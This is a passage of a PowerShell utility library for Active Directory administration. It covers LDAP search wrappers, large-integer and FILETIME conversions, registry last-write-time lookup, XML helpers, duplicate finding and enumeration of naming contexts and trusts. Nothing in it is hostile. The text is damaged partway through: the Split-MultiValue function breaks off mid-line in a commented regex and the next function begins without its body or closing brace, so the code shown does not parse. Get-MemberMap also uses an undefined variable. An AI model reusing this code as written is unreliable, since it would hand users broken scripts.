        DBGIF $MyInvocation.MyCommand.Name { -not ($_ -is [System.DirectoryServices.SearchResult]) }

        if ($fileOut.Count -lt $outItemLimit) {
        
          $fileOut += @(, (Get-ObjectProperties ($_.Path)))
        }
      
        $resultCount ++
        DBGIFOK { (($resultCount % $dbgSearchProgress) -eq 0) } ('{0}: Processing at object number {1}' -f $MyInvocation.MyCommand.Name, $resultCount)
      }
    
      Save-CSV $outFileFullName $fileOut $false
#      if ($fileOut.Count -gt 0) {
#
#        DBG ('Saving {0} items into: {1}' -f $fileOut.Count, $outFileFullName)
#
#        $fileOut | Export-CSV -Path $outFileFullName -NoTypeInformation -Force -EV er -EA SilentlyContinue
#        DBGER $MyInvocation.MyCommand.Name $er 
#      }
  
    } else {
    
      $srch[1] | % { 
      
          $resultCount ++ 
          DBGIFOK { (($resultCount % $dbgSearchProgress) -eq 0) } ('{0}: Processing at object number {1}' -f $MyInvocation.MyCommand.Name, $resultCount)
      }
    }
  }

  DBG ('Found {0} results in {1:c} for {2}' -f $resultCount, ((Get-Date) - $searchStart), $filter)

  Dispose-ADSearch ([ref] $srch)

  return $resultCount
}

function global:Get-EnumString ([HashTable] $enum, [string] $value)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $enum }

  [string] $valueStr = ''
  if (Is-ValidString $value) { 

    $intValue = [int] $value
    $valueStr = $enum[$intValue]
    if (Is-EmptyString $valueStr) { $valueStr = $value }
  }
  
  return $valueStr
}

function global:Get-FlagsString ([HashTable] $flags, [string] $value)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $flags }

  [string] $outStr = ''
  if (Is-ValidString $value) {

    $intValue = [int] $value

    $flags.Keys | % { 
    
      if (($intValue) -band $_) {
    
        if ($outStr -ne '') { $outStr += $multivalueSeparator }
      
        $outStr += $flags[$_]
      }
    }
  }
  
  return $outStr
}

function global:Convert-Int64Part([object] $comLargeInt, [string] $part)
{
  #DBGIF $MyInvocation.MyCommand.Name { Is-Null $comLargeInt }

  $intOrNull = $null

  if (Is-NonNull $comLargeInt) {
    
    DBGSTART
    $intOrNull = $comLargeInt.GetType().InvokeMember($part, [System.Reflection.BindingFlags]::GetProperty, $null, $comLargeInt, $null)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    
  }
  
  return $intOrNull
}


function global:Convert-LargeInt([object] $comLargeInt)
{
  #DBGIF $MyInvocation.MyCommand.Name { Is-Null $comLargeInt }
 
  $intOrNull = $null
  
  if (Is-NonNull $comLargeInt) {
  
    $highPart = $null
    $lowPart = $null
    
    $highPart = Convert-Int64Part $comLargeInt "HighPart"
    $lowPart = Convert-Int64Part $comLargeInt "LowPart"

    if ((Is-NonNull $highPart) -and (Is-NonNull $lowPart)) {
    
      $bytes = [System.BitConverter]::GetBytes($highPart)
      $tmp   = [System.Byte[]]@(0,0,0,0,0,0,0,0)
      [System.Array]::Copy($bytes, 0, $tmp, 4, 4)
      $highPart = [System.BitConverter]::ToInt64($tmp, 0)

      $bytes = [System.BitConverter]::GetBytes($lowPart)
      $lowPart = [System.BitConverter]::ToUInt32($bytes, 0)

      $intOrNull = $lowPart + $highPart
    }
  }
  
  return $intOrNull
}    

function global:Convert-Interval([object] $comLargeInt)
{
  #DBGIF $MyInvocation.MyCommand.Name { Is-Null $comLargeInt }

  $intOrNull = $null
  $intOrNull = Convert-LargeInt $comLargeInt
    
  [string] $output = ''
  
  if (Is-NonNull $intOrNull)
  {  
    if (($intOrNull -gt $neverTimeVal) -or ($intOrNull -lt 0)) { 
      
      $output = $global:neverTimeStr
    
    } else {
    
      if ($intOrNull -eq 0) { 
      
        $output = $global:noneTimeStr
       
      } else {
       
        if ($intOrNull -lt 0)
        {
           $output = '{0:c}' -f ([System.TimeSpan]::FromTicks(-$intOrNull)) 
  
        } else {
         
          $output = '{0:s}' -f ($adBaseDate + [System.TimeSpan]::FromTicks($intOrNull))
        }
      }
    }
  }
  
  return $output
}


function global:Put-HighPartInt64 ([UInt32] $highPart)
# Note: -shl and -shr operators are only available with PowerShell 3.0
{
  [Int64] $highPartInt64 = 0

  DBGSTART

  $bytes = [BitConverter]::GetBytes($highPart)
  $tmp = [Byte[]] @(0,0,0,0,0,0,0,0)

  [Array]::Copy($bytes, 0, $tmp, 4, 4)

  $highPartInt64 = [BitConverter]::ToInt64($tmp, 0)

  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  return $highPartInt64
}


function global:Convert-FiletimeToDatetime ([System.Runtime.InteropServices.ComTypes.FILETIME] $fileTime)
{
  $outDateTime = $null

  DBGSTART
  [UInt32] $uLow = [BitConverter]::ToUInt32([BitConverter]::GetBytes($fileTime.dwLowDateTime), 0)
  [UInt32] $uHigh = [BitConverter]::ToUInt32([BitConverter]::GetBytes($fileTime.dwHighDateTime), 0)
  $fileTime64 = (Put-HighPartInt64 $uHigh) -bor $uLow
  $outDateTime = [DateTime]::FromFileTime($fileTime64)
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  return $outDateTime
}


function global:Get-RegLastWriteTime ([string] $key)
{
  Define-Win32Api

  $lastWriteTime = New-Object System.Runtime.InteropServices.ComTypes.FILETIME

  DBGSTART
  $regKey = Get-Item $key
  DBGER $MyInvocation.MyCommand.Name $error
  DBGEND

  DBGIF $MyInvocation.MyCommand.Name { Is-Null $regKey.Handle }

  if (Is-NonNull $regKey.Handle) {

    DBGSTART
    $regRes = [Sevecek.Win32Api.ADVAPI32]::RegQueryInfoKey(
      $regKey.Handle.DangerousGetHandle(),
      $null, [ref] $null, $null, [ref] $null, [ref] $null, [ref] $null, [ref] $null, [ref] $null, [ref] $null, [ref] $null,
      [ref] $lastWriteTime
    )
    $lastError = [Sevecek.Win32Api.Kernel32]::GetLastError() ; 
    #DBGIF ('Win32 last error: {0} | {1}' -f $lastError, $MyInvocation.MyCommand.Name) { $lastError -ne 0 }
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    DBGIF ('RegQueryInfoKey returned an error: {0}' -f $regRes) { $regRes -ne 0 }
  }

  return (Convert-FiletimeToDatetime $lastWriteTime)
}


function global:Revert-Text ([string] $text)
{
  return (((0..$text.Length) | % { $text[$text.Length - $_] }) -join '')
}

# We cannot use ArrayList directly, because we do not know what type the caller is using
# so we assume that it a generic type, copy it into our own variable and then output into the original
function global:Add-ListUnique ([ref] $array, [string] $value)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $array }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $array.Value }
  DBGIF $MyInvocation.MyCommand.Name { -not (($array.Value -is [array]) -or ($array.Value -is [System.Collections.ArrayList])) }

  if ((Is-NonNull $array) -and (Is-NonNull $array.Value)) {

    [System.Collections.ArrayList] $tempArrayList = $array.Value

    [string] $strVal = ([string] $value).Trim()

    if (-not (Contains-Safe $tempArrayList $strVal)) {
  
      $array.Value += $strVal
    }
  }
}


function global:Add-ListUniqueByMember ([ref] $array, [object] $value, [string] $memberName)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $array }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $array.Value }
  DBGIF $MyInvocation.MyCommand.Name { -not (($array.Value -is [array]) -or ($array.Value -is [System.Collections.ArrayList])) }

  if ((Is-NonNull $array) -and (Is-NonNull $array.Value)) {

    if (-not (Contains-Safe $array.Value $value @($memberName))) {
  
      $array.Value += $value
    }
  }
}


function global:Get-MemberMap ([object] $startObj)
{
  [Collections.ArrayList] $propertyMap = @()

  $maxLevel = 4
  [Collections.ArrayList] $objectsToProcess = @()
  [void] $objectsToProcess.Add(@('', 0, $tmg))  

  while ($objectsToProcess.Count -gt 0) {

    $oneObjPath = $objectsToProcess[0][0]
    $oneObjLevel = $objectsToProcess[0][1]
    $oneObj = $objectsToProcess[0][2]
    $objectsToProcess.RemoveAt(0)

    $properties = gm -i $oneObj -memb Property -EA SilentlyContinue | Select -Expand Name
    $error.Clear()

    foreach ($oneProperty in $properties) {

      if (($oneProperty -ne '') -and ($oneProperty -ne $null)) {

        $onePropertyPath = '{0}.{1}' -f $oneObjPath, $oneProperty
        [void] $propertyMap.Add($onePropertyPath)

        [void] $objectsToProcess.Add(@($onePropertyPath, ($oneObjLevel + 1), $oneObj.$oneProperty))
      }
    }

    if ($oneObjLevel -eq $maxLevel) {

      break
    }
  }

  return $propertyMap
}


function global:Split-MultiValue ([string] $value)
{
  # Note: -split operator returns ArrayList
  # Note: -split operator is fucking not working with '$' and does different things for '' and "" strings (uses RegExMatching)
  #       you would have to escape '\$'
  # Note: .Split() method returns string[]
  # Note: both .Split() and -split always return array, even if the result is just a single string
  #       example: ([string] $null).Split('|') returns @(""), which is single item array, .Count = 1
  # Note: "testWithEmptyToken|".Split('|') returns .Count = 2 with an empty string in the second place
  #       -split applied to the same returns the same result
  #       Our logic is such that explicitly empty values should be marked with $global:emptyValueMarker
  #       thus we are going to remove such results
  # Note: take care - if resulting $array is @() empty, then the function returns $null and this cannot be changed
  #       as it is according to this PowerShell shitty logic
  # Note: if we just switched the $array type to ArrayList it would yeild nothing
  #       because the function output conversion always returns [object[]] regardless the $array is ArrayList or [string[]]
  # Note: PowerShell 2.0 does not have .Contains() function on [object[]] arrays, while PowerShell 3.0 does have it
  #       but this means that we must always retype results to ArrayList manually

  [System.Collections.ArrayList] $outArray = @()
  [string[]] $array = @()

  if (Is-ValidString $value) {
  
    # Note: this next line does not comes to my understanding. I am just to replace this
    #       weird thing with a code to split multivalue with escaping correctly
    #       and rather leave this here to be able to uncomment it if anything goes wrong
    #$array = $value.Replace(('\{0}' -f $multivalueSeparator), $multivalueSeparator).Replace('\\', '\').Split($multivalueSeparator)
    
    # Note: the regex has problems matching longer sequences of escaped escapes
    #$array = $value -split "(?

function global:Count-FileItems ([string] $rootPath, [string] $nameFilter, [bool] $folder, [string] $outFileFullName)
{
  #DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $rootPath }
  DBGIF $MyInvocation.MyCommand.Name { -not (Test-Path $rootPath -PathType Container) }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $nameFilter }

  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  $itemCount = 0

  if ((Is-ValidString $rootPath) -and (Is-ValidString $nameFilter)) {

    $foundItems = $null
    $foundItems = Get-ChildItem $rootPath -Filter $nameFilter -Recurse -Force -EV er -EA SilentlyContinue | ? { ((($folder -and ($_.PSIsContainer -eq $true)) -or ((-not $folder) -and ($_.PSIsContainer -eq $false))) -and ($_.Name -like $nameFilter)) }
    DBGER $MyInvocation.MyCommand.Name $er

    if (Is-NonNull $foundItems) { 
    
      $itemCount = $foundItems.Count
      
      $foundFileNames = $foundItems | select FullName
      
      foreach ($oneFoundFileName in $foundFileNames) { DBG ("Found file item: {0}" -f $oneFoundFileName.FullName) }
      
      Save-CSV $outFileFullName $foundFileNames $false
#      if (Is-ValidString $outFileFullName) {
#
#        DBG ('Search output to a file: {0}' -f $outFileFullName)
#        [void] (New-Item -Path $outFileFullName -Force -ItemType File -EV er -EA SilentlyContinue)
#        DBGER $MyInvocation.MyCommand.Name $er 
#        
#        $foundItems | % { $_.FullName } | Out-File $outFileFullName -Force -EV er -EA SilentlyContinue
#        DBGER $MyInvocation.MyCommand.Name $er 
#      }    
    }
  }
  
  DBG ("Found file items: {0}" -f $itemCount)
  
  return $itemCount
}

function global:Count-FolderSize ([string] $rootPath)
{
  #DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $rootPath }
  DBGIF $MyInvocation.MyCommand.Name { -not (Test-Path $rootPath -PathType Container) }

  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  $folderSize = 0

  if (Is-ValidString $rootPath) {

    #$measure = $null
    #$measure = Get-ChildItem $rootPath -Recurse -Force -EV er -EA SilentlyContinue | ? { $_.PSIsContainer -eq $false } | Measure-Object -Sum Length
    DBGSTART
    $fso = New-Object -ComObject 'Scripting.FileSystemObject'
    $folderSize = $fso.GetFolder($rootPath).Size
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    #if (Is-NonNull $measure) { 
    #
    #  $folderSize = $measure.Sum
    #}
  }
  
  DBG ("Folder size: {0}" -f $folderSize)
  
  return $folderSize
}

function global:Get-AttributeLists ([object] $de, [System.Collections.ArrayList[]] $lists, [string[]] $attributeList, [string] $query)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $de }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $lists }
  DBGIF $MyInvocation.MyCommand.Name { $lists.Count -eq 0 }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $attributeList }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $query }

  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  if ((Is-NonNull $de) -and (Is-NonNull $lists) -and (Is-NonNull $attributeList) -and ($lists.Count -ge 1) -and (Is-NonNull $query))
  {
    $searchRes = Get-ADSearch $de 'subTree' $query $attributeList

    if ($searchRes.found) {

      $resultCount = 0

      DBG "Processing search results..."
      
      #$searchRes[1] = $searchRes[0].FindAll()
      $searchRes.result | % { 
      
        $oneRes = $_
        
        for ($atrIdx = 0; $atrIdx -lt $attributeList.Count; $atrIdx ++)
        {
          $attrValues = GSRM $oneRes $attributeList[$atrIdx]

          if (Is-NonNull $attrValues) {

            if ($attrValues -is [array]) { 

              $attrValues | % { [void] $lists[$atrIdx].Add($_) }

            } else {

              [void] $lists[$atrIdx].Add($attrValues)
            }
          }
        }
        
        $resultCount ++
        DBGIFOK { (($resultCount % $dbgSearchProgress) -eq 0) } ('{0}: Processing at object number {1}' -f $MyInvocation.MyCommand.Name, $resultCount)
      }

      DBG ("Found {0} SAM entries" -f $resultCount)

      DBG "Search finished. Sorting..."

      DBGSTART
      $lists | % { $_.Sort() }
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    }

    Dispose-ADSearch ([ref] $searchRes)
  }
}

function global:Find-InSortedList ([System.Collections.ArrayList] $list, [string] $what, [int] $lowerBound)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $list }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $what }

  $found = $false
    
  if (Is-NonNull $list) {
  
    [int] $upperBound = $list.Count - 1
    
    if ($list.Count -gt 0) {

      while ($true) {
      
        [int] $curPoss = $lowerBound + ([Math]::Floor(($upperBound - $lowerBound) / 2))

        if ($list[$lowerBound].CompareTo($what) -eq 0) { $found = $true; break }
        if ($list[$upperBound].CompareTo($what) -eq 0) { $found = $true; break }
        if ($list[$curPoss].CompareTo($what) -eq 0) { $found = $true; break }

      	if ($lowerBound -eq $curPoss) { break }
      	if ($upperBound -eq $curPoss) { break }

        if ($list[$curPoss].CompareTo($what) -lt 0) { $lowerBound = $curPoss }
        if ($list[$curPoss].CompareTo($what) -gt 0) { $upperBound = $curPoss }
      }
    }
  }
  
  return $found
}

function global:Find-DuplicatesInSortedLists ([System.Collections.ArrayList] $list1, [System.Collections.ArrayList] $list2, [string] $outFileFullName)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $list1 }
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $list2 }

  [System.Collections.ArrayList] $foundList = @()
  
  if ((Is-NonNull $list1) -and ($list1.Count -gt 0) -and (Is-NonNull $list2) -and ($list2.Count -gt 0)) {
    
    DBG "Searching for duplicates between lists..."
    
    for ($i = 0; $i -lt $list1.Count; $i ++)
    {
      if (Find-InSortedList $list2 ($list1[$i]) 0) {
      
        $duplName = $list1[$i]
        DBG ("Found duplicit name: {0}" -f $duplName)
        
        $duplNameObj = New-Object PSCustomObject
        Add-Mbr $duplNameObj "duplicateName" $duplName
        [void] $foundList.Add($duplNameObj)
      }
    }

    Save-CSV $outFileFullName $foundList $false
  }
  
  DBG ("Found {0} duplicates." -f $foundList.Count)

#  if (Is-ValidString $outFileFullName) {
#  
#    DBG ("Duplicates output into a file: {0}" -f $outFileFullName)
#    $foundList | Out-File $outFileFullName -Force -EV er -EA SilentlyContinue
#  }
  
  return $foundList.Count
}


function global:Find-DuplicatesInSortedList ([System.Collections.ArrayList] $list, [string[]] $memberNames)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $list }

  [System.Collections.ArrayList] $foundList = @()
                                                                     
  if ((Is-NonNull $list) -and ($list.Count -gt 0)) {
    
    DBG ('Searching for duplicates in the same list: member = {0}' -f ($memberNames -join ','))
    
    for ($i = 0; $i -lt ($list.Count - 1); $i ++)
    {
      $allTheSame = $true

      if ((Get-CountSafe $memberNames) -gt 0) {

        foreach ($oneMemberName in $memberNames) {

          $currVal = $list[$i].$oneMemberName
          $nextVal = $list[$i + 1].$oneMemberName

          $allTheSame = $allTheSame -and ($currVal -eq $nextVal)
        }
      
      } else {

        $currVal = $list[$i]
        $nextVal = $list[$i + 1]

        $allTheSame = $currVal -eq $nextVal
      }

      if ($allTheSame) {
      
#        $duplName = $currVal
#        DBG ("Found duplicit name in the same list: {0}" -f $duplName)

#        $duplNameObj = New-Object PSCustomObject
#        Add-Mbr $duplNameObj "duplicateName" $duplName
        [void] $foundList.Add($list[$i])

        if ((Get-CountSafe $memberNames) -gt 0) {

          [void] $foundList.Add($list[$i + 1])
        }
      }
    }
  
    if (Is-ValidString $outFileFullName) {
    
      Save-CSV $outFileFullName $foundList $false
    }
  }
  
  DBG ("Found {0} duplicates." -f $foundList.Count)
  
#  if (Is-ValidString $outFileFullName) {
#  
#    DBG ("Duplicates output into a file: {0}" -f $outFileFullName)
#    $foundList | Out-File $outFileFullName -Force -EV er -EA SilentlyContinue
#  }
  
  return ,$foundList
}


function global:Get-CommonPrefix ([string[]] $items)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [string] $commonPrefix = ''

  DBGIF $MyInvocation.MyCommand.Name { (Get-CountSafe $items) -lt 1 }

  if ((Get-CountSafe $items) -gt 0) {

    $commonPrefix = $items[0]

    foreach ($oneItem in $items) {

      $i = 0
      while (($i -lt $oneItem.Length) -and ($i -lt $commonPrefix.Length) -and ($oneItem[$i] -eq $commonPrefix[$i])) {

        $i ++
      }

      $commonPrefix = $commonPrefix.Substring(0, $i)
    }
  }

  return $commonPrefix
}


function global:Set-XmlAttribute ([System.Xml.XmlElement] $xmlElement, [string] $attribute, [string] $value)
{
  DBGSTART
  $xmlElement.psbase.SetAttribute($attribute, $value)
  DBGER ('Error setting xml attribute: {0} | {1} | on = {2}' -f $attribute, $value, ($xmlElement | Out-String)) $error
  DBGEND
}


function global:New-XmlElement ([XML] $xml, [string] $name, [hashtable] $attributes)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [System.Xml.XmlElement] $element = $null

  DBGIF $MyInvocation.MyCommand.Name { Is-Null $xml }

  if (Is-NonNull $xml) {

    DBG ('Create the new element: {0}' -f $name)
    DBGSTART
    $element = $xml.CreateElement($null, $name, $null)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND

    if (Is-NonNull $element) {

      DBG ('Going to set attributes for the new element: {0}' -f (Get-CountSafe $attributes.Keys))

      foreach ($oneAttr in $attributes.Keys) {

        DBG ('One attribute: {0} | {1}' -f $oneAttr, $attributes[$oneAttr])
        DBGSTART
        $newAttr = $null
        $newAttr = $xml.CreateAttribute($oneAttr)
        $newAttr.Value = $attributes[$oneAttr]
        [void] $element.Attributes.Append($newAttr)
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
      }
    }
  }

  return $element
}


function global:Append-XmlElement ([System.Xml.XmlNode] $xmlNode, [string] $name, [hashtable] $attributes)
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  DBGIF $MyInvocation.MyCommand.Name { Is-Null $xmlNode }

  if (Is-NonNull $xmlNode) {

    $parentNode = $xmlNode
    while ($parentNode -isnot [System.Xml.XmlDocument]) {

      $parentNode = $parentNode.psbase.ParentNode
    }

    $newElement = New-XmlElement $parentNode $name $attributes
    DBGIF $MyInvocation.MyCommand.Name { Is-Null $newElement }

    if (Is-NonNull $newElement) {

      DBGSTART
      [void] $xmlNode.AppendChild($newElement)
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND
    }
  }
}


function global:Test-XMLContains ([Object[]] $xmlNodes, [string] $attrName, [string] $value)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $xmlNodes }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $attrName }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $value }
  
  $found = $false
  
  if (Is-NonNull $xmlNodes) {
  
    $xmlNodes | % {
    
      DBGIF $MyInvocation.MyCommand.Name { $_ -is [System.Xml.XmlElement] }
      
      if ($_."$attrName" -like $value) { $found = $true }
    }
  }
  
  return $found
}

function global:Get-DateTimeFromUTC ([string] $utcTime)
{
  # 20120322214655.0Z
  # 2012 03 22  21 46 55.0Z
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $utcTime }
  DBGIF $MyInvocation.MyCommand.Name { -not $utcTime.EndsWith('.0Z') }
  
  [string] $outDate = ''
  
  if (Is-ValidString $utcTime) {
    
    DBGSTART
    $year = [int] $utcTime.SubString(0, 4)
    $month = [int] $utcTime.SubString(4, 2)
    $day = [int] $utcTime.SubString(6, 2)
    $hour = [int] $utcTime.SubString(8, 2)
    $minute = [int] $utcTime.SubString(10, 2)
    $second = [int] $utcTime.SubString(12, 2)
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    
    $outDate = (New-Object System.DateTime @($year, $month, $day, $hour, $minute, $second, [DateTimeKind]::UTC)).ToLocalTime().ToString('s')
  }
  
  return $outDate
}


function global:Get-NCForObject ([ADSI] $objectDE, [ref] $deListRef)
{
  $parentDE = $objectDE
  $ncDE = $null

  [System.Collections.ArrayList] $internalDeList = @()
  DBG ('Getting NC for object: {0}' -f (GDES $objectDE distinguishedName))

  # Note: better to always call GDES as it implements the .RefreshCache() call to populate
  #       even these attributes which seem to not always be populated automatically
  while ((Is-NonNull $parentDE) -and (-not (Contains-Safe (Split-MultiValue (GDES $parentDE objectClass)) domainDNS))) {

    #DBGSTART
    #$parentDE = $parentDE.psbase.Parent
    DBG ('Extract the parent: {0}' -f $parentDE.Parent)
    $parentDE = Get-OthDE $parentDE.Parent $parentDE ([ref] $internalDeList)

    #if ($error.Count -gt 0) {
    #
    #  DBGER $MyInvocation.MyCommand.Name $error
    #  DBGEND
    #  break; # if for example "referral returned from server"
    #}
    #DBGEND

    if (Is-NonNull $parentDE) {
    
      DBG ('One parent to get NC for object: {0} | {1}' -f (GDES $parentDE distinguishedName), (GDES $parentDE objectClass))
      #[void] $internalDeList.Add($parentDE)
    }
  }

  if (Is-NonNull $parentDE) {
    
    # Note: ensure we copy the credentials if any explicit present
    $ncDE = Get-OthDE (GDES $parentDE distinguishedName) $objectDE $deListRef
  }

  Dispose-List ([ref] $internalDeList)

  DBGIF ('Could not get NC for object: {0}' -f (GDES $objectDE distinguishedName)) { Is-Null $ncDE }
  return $ncDE
}


function global:Get-NCNames ([string] $startupDN, [bool] $doNotEnumTrusts, [System.Collections.ArrayList] $ncList)
# Note that this function, without parameters, starts with rootDSE of the current user and not computer's rootDSE
# while the Get-NCName function accepts $ncName as a starting point and then goes for rootDSE of the partition specified
# I have added the $startupDN only later to be able to generate a list of naming contexts of a particular forest in which
# case we also may not need go for trusts
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  DBGIF $MyInvocation.MyCommand.Name { $foreignForest -and (Is-Null $startupDN) }
  
  [System.Collections.ArrayList] $deList = @()
  [System.Collections.ArrayList] $outNames = @()
  
  $rootDSE = $null
  $startupDE = $null

  if (Is-ValidString $startupDN) {

    DBG ('Start enum from a startup DN rather then current user''s RootDSE: {0}' -f $startupDN)
    $startupDE = Get-DE $startupDN ([ref] $deList)
  
  } else {

    DBG ('Start enum from current user''s RootDSE')
  }

  
  Get-BasicDEs $startupDE ([ref] $rootDSE) $null $null $null ([ref] $deList)

  $configDN = GDES $rootDSE configurationNamingContext
  DBG ('Configuration partition: {0}' -f $configDN)

  $partitions = Get-DE "CN=Partitions,$configDN" ([ref] $deList)
  DBGIF $MyInvocation.MyCommand.Name { Is-Null $partitions }
    
  if (Is-NonNull $partitions) {
    
    # First, we go for local forest NCs
    
    $forestNCs = Get-ADSearch $partitions 'subTree' '(&(objectCategory=crossRef)(objectClass=crossRef))' @('cn', 'systemFlags', 'dnsRoot', 'nETBIOSName', 'nCName')
    DBGIF $MyInvocation.MyCommand.Name { -not $forestNCs.found }
      
    if ($forestNCs.found) {
      
      $forestNCs.result | % {

        $foundNC = New-Object PSCustomObject
        $oneNC = $_
        
        Add-Member -InputObject $foundNC -MemberType NoteProperty -Name dnsRoot -Value (GSRS $oneNC dnsRoot)
        Add-Member -InputObject $foundNC -MemberType NoteProperty -Name nCName -Value (GSRS $oneNC nCName)
        Add-Member -InputObject $foundNC -MemberType NoteProperty -Name realNCName -Value (GSRS $oneNC nCName)
        Add-Member -InputObject $foundNC -MemberType NoteProperty -Name nETBIOSName -Value (GSRS $oneNC nETBIOSName)
        Add-Member -InputObject $foundNC -MemberType NoteProperty -Name sid -Value $null
        Add-Member -InputObject $foundNC -MemberType NoteProperty -Name trustDirection -Value $null
        Add-Member -InputObject $foundNC -MemberType NoteProperty -Name trustAttributes -Value $null
        Add-Member -InputObject $foundNC -MemberType NoteProperty -Name forest -Value (GDES $rootDSE rootDomainNamingContext)
        
        # Note: this indicates that the found NC is foreign to the original $startupDN's forest
        #       As we enumerate trusts later, in case of a forest-trust, we travers to the trusted/ing forest
        #       and potentially (if authenticated well) enumerate their own naming contexts
        #       but we must note the foreign nature of the naming context. The foreignForest member does not
        #       necessarily mean that it is foreign in respect to current user, rahter it is foreign to the
        #       $startupDN's forest
        Add-Member -InputObject $foundNC -MemberType NoteProperty -Name foreignForest -Value (Is-NonNull $ncList)


        $systemFlags = [int] (GSRS $oneNC systemFlags)

        if (($systemFlags -band 1) -and (-not ($systemFlags -band 2)) -and ($foundNC.nCName -eq $configDN)) {

          DBGIF $MyInvocation.MyCommand.Name { (GSRS $oneNC cn) -ne 'Enterprise Configuration' }
          DBGIF $MyInvocation.MyCommand.Name { Is-ValidString $foundNC.nETBIOSName }
          Add-Member -InputObject $foundNC -MemberType NoteProperty -Name ncType -Value 'configuration'
          
        } elseif (($systemFlags -band 1) -and (-not ($systemFlags -band 2)) -and ($foundNC.nCName -eq (GDES $rootDSE schemaNamingContext))) {

          DBGIF $MyInvocation.MyCommand.Name { (GSRS $oneNC cn) -ne 'Enterprise Schema' }
          DBGIF $MyInvocation.MyCommand.Name { Is-ValidString $foundNC.nETBIOSName }
          DBGIF $MyInvocation.MyCommand.Name { $systemFlags -ne 1 }
          Add-Member -InputObject $foundNC -MemberType NoteProperty -Name ncType -Value 'schema'

        } elseif (($systemFlags -band 1) -and (-not ($systemFlags -band 2))) {

          DBGIF $MyInvocation.MyCommand.Name { (GSRS $oneNC cn) -notlike '????????-????-????-????-????????????' }
          DBGIF $MyInvocation.MyCommand.Name { Is-ValidString $foundNC.nETBIOSName }
          DBGIF $MyInvocation.MyCommand.Name { -not ($systemFlags -band 4) }
          DBGIF $MyInvocation.MyCommand.Name { $systemFlags -ne 5 }
          Add-Member -InputObject $foundNC -MemberType NoteProperty -Name ncType -Value 'application'

        } elseif ($systemFlags -eq 0) {
        
          DBGIF $MyInvocation.MyCommand.Name { Is-ValidString $foundNC.nETBIOSName }
          Add-Member -InputObject $foundNC -MemberType NoteProperty -Name ncType -Value 'referral'

        } elseif ($systemFlags -band 3) {

          DBGIF $MyInvocation.MyCommand.Name { (GSRS $oneNC cn) -ne $foundNC.nETBIOSName }
          DBGIF $MyInvocation.MyCommand.Name { $systemFlags -ne 3 }
          Add-Member -InputObject $foundNC -MemberType NoteProperty -Name ncType -Value 'domain'

          $domainDE = Get-DE $foundNC.nCName ([ref] $deList)
          $foundNC.sid = GDESID $domainDE objectSID

        } else {

          Add-Member -InputObject $foundNC -MemberType NoteProperty -Name ncType -Value 'unknown'
        }

        DBG ('Local forest NC found: {0} | {1} | {2} | {3}' -f $foundNC.ncType, $foundNC.dnsRoot, $foundNC.realNCName, $foundNC.nETBIOSName)
        [void] $outNames.Add($foundNC)
      }
    }

    Dispose-ADSearch ([ref] $forestNCs)


    # Next, we find all trusts in GC

    if (-not $doNotEnumTrusts) {
        
      $domainNCs = Get-ADSearch $partitions 'subTree' '(&(objectCategory=crossRef)(objectClass=crossRef)(systemFlags:1.2.840.113556.1.4.803:=3)(nETBIOSName=*))' @('nCName')
      DBGIF $MyInvocation.MyCommand.Name { -not $domainNCs.found }

      if ($domainNCs.found) {

        $domainNCs.result | % {

          $oneDomainNC = GSRS $_ nCName
